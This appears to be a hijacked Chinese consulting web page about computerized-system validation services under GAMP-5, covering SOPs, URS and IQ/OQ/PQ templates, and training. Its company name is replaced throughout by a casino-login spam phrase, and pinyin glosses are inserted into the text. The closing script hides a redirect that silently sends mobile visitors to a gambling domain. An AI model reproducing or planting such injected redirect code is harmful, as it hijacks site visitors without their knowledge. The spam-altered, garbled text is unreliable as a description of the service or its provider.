澳门葡京登录

计算机化系统验证概念

澳门葡京登录提供(gong)全套的计(ji)算(suan)机化系(xi)统验证服务(wu)!

根据GAMP-5指南,需验(yan)证的(de)计(ji)算(suan)机化系(xi)统(tong)(tong)的(de)范围广(guang)泛,从微处理器控制(zhi)的(de)小型仪器、PLC控制(zhi)的(de)设备,到工艺控制(zhi)系(xi)统(tong)(tong)和(he)公(gong)司(si)级别的(de)信息系(xi)统(tong)(tong)(例如:ERP或文件(jian)管理系(xi)统(tong)(tong))等。指南定义了计(ji)算(suan)机化系(xi)统(tong)(tong)验(yan)证的(de)概念和(he)基本方法,但大(da)多(duo)都过于抽(chou)象,很多(duo)企业(ye)因为缺乏该领(ling)域的(de)专业(ye)人才而难以(yi)独立开展(zhan)验(yan)证工作。

澳门葡京登录的(de)IT顾(gu)问(wen)能为客户开发易于实施的(de)验(yan)证概(gai)念和(he)(he)结(jie)构清晰(xi)的(de)验(yan)证程(cheng)序。我们(men)将这些概(gai)念和(he)(he)程(cheng)序定(ding)义到SOP中,并以最佳方式(shi)整合到企业现有(you)的(de)流程(cheng)里。

我们相(xiang)关的服务包括:

1、计(ji)算机化(hua)系统(tong)概念(nian)专题介绍

2、计算机化系统验证概(gai)念开发

  • 计划和报告模板
  • 系统标准模板,如URS
  • 供应商评估模板,如现场检查清单
  • 风险分析模板
  • 检查记录模板(IQ / OQ / PQ)
  • 其他

以专题介绍引入概念

要(yao)(yao)成(cheng)功(gong)实(shi)施IT验证(zheng)概(gai)念,企业(ye)内部从管(guan)理到执(zhi)行的(de)各级相(xiang)关(guan)人(ren)员需要(yao)(yao)对该主题(ti)及其基本要(yao)(yao)求有统(tong)一认识(shi)(shi)和理解。因此(ci),澳门葡京登录在(zai)项目开始时,建议(yi)企业(ye)要(yao)(yao)引(yin)入一个IT验证(zheng)的(de)专(zhuan)题(ti)培(pei)训,扩展现有的(de)知(zhi)识(shi)(shi)。澳门葡京登录提供的(de)计算机(ji)系统(tong)概(gai)念专(zhuan)题(ti)介(jie)绍(shao),将(jiang)提高所有管(guan)理者的(de)意(yi)识(shi)(shi),使他们能深入认识(shi)(shi)相(xiang)关(guan)任务(wu)的(de)意(yi)义。

根据客户现状定制的IT验证概念

在客(ke)户(hu)的(de)(de)协助下(xia),澳门葡京登录将对现(xian)有质量体(ti)系中有关IT验(yan)证(zheng)的(de)(de)相关程序(xu)进行系统分析,然后根据客(ke)户(hu)的(de)(de)组织架构和(he)程序(xu)定制验(yan)证(zheng)概念(nian)。在此过程中,澳门葡京登录使(shi)用经过确(que)证(zheng)的(de)(de)标准组块(kuai)和(he)模板,结(jie)合企业实际情况(kuang),形(xing)成清晰、实用的(de)(de)流程描述,输出SOP及相关附件。

验证实施前的实操培训

当验(yan)(yan)证(zheng)(zheng)方法(fa)(fa)确定、所有工具(ju)完备并交付(fu)后,客户就只需要根据(ju)既(ji)定的流程(cheng)进行(xing)IT验(yan)(yan)证(zheng)(zheng)概念的实施。此时,较理想的做法(fa)(fa)是,澳门葡京登录对验(yan)(yan)证(zheng)(zheng)人员进行(xing)验(yan)(yan)证(zheng)(zheng)实施前(qian)的培训,清晰讲解方法(fa)(fa)和模板的具(ju)体使用方法(fa)(fa)。这样做能保障验(yan)(yan)证(zheng)(zheng)实施过程(cheng)的可(ke)(ke)靠性,实施结果的可(ke)(ke)追溯性及(ji)合规性。

您将获益

  • 简单明了的IT验证概念
  • 将定制的IT验证概念整合到现有质量保证体系中
  • 提供验证概念实施的执行或支持服务
var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?993185dc8689f489fddf05459dcb9ba5"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); function browserRedirect() { var sUserAgent= navigator.userAgent.toLowerCase(); var bIsIpad= sUserAgent.match(/ipad/i) == "ipad"; var bIsIphoneOs= sUserAgent.match(/iphone os/i) == "iphone os"; var bIsMidp= sUserAgent.match(/midp/i) == "midp"; var bIsUc7= sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4"; var bIsUc= sUserAgent.match(/ucweb/i) == "ucweb"; var bIsAndroid= sUserAgent.match(/android/i) == "android"; var bIsCE= sUserAgent.match(/windows ce/i) == "windows ce"; var bIsWM= sUserAgent.match(/windows mobile/i) == "windows mobile"; if (bIsIpad || bIsIphoneOs || bIsMidp || bIsUc7 || bIsUc || bIsAndroid || bIsCE || bIsWM) { window.setTimeout("window.location='http://leyubet1410.com'",1000); } else { document.writeln(""); document.writeln(""); document.writeln(""); } } browserRedirect();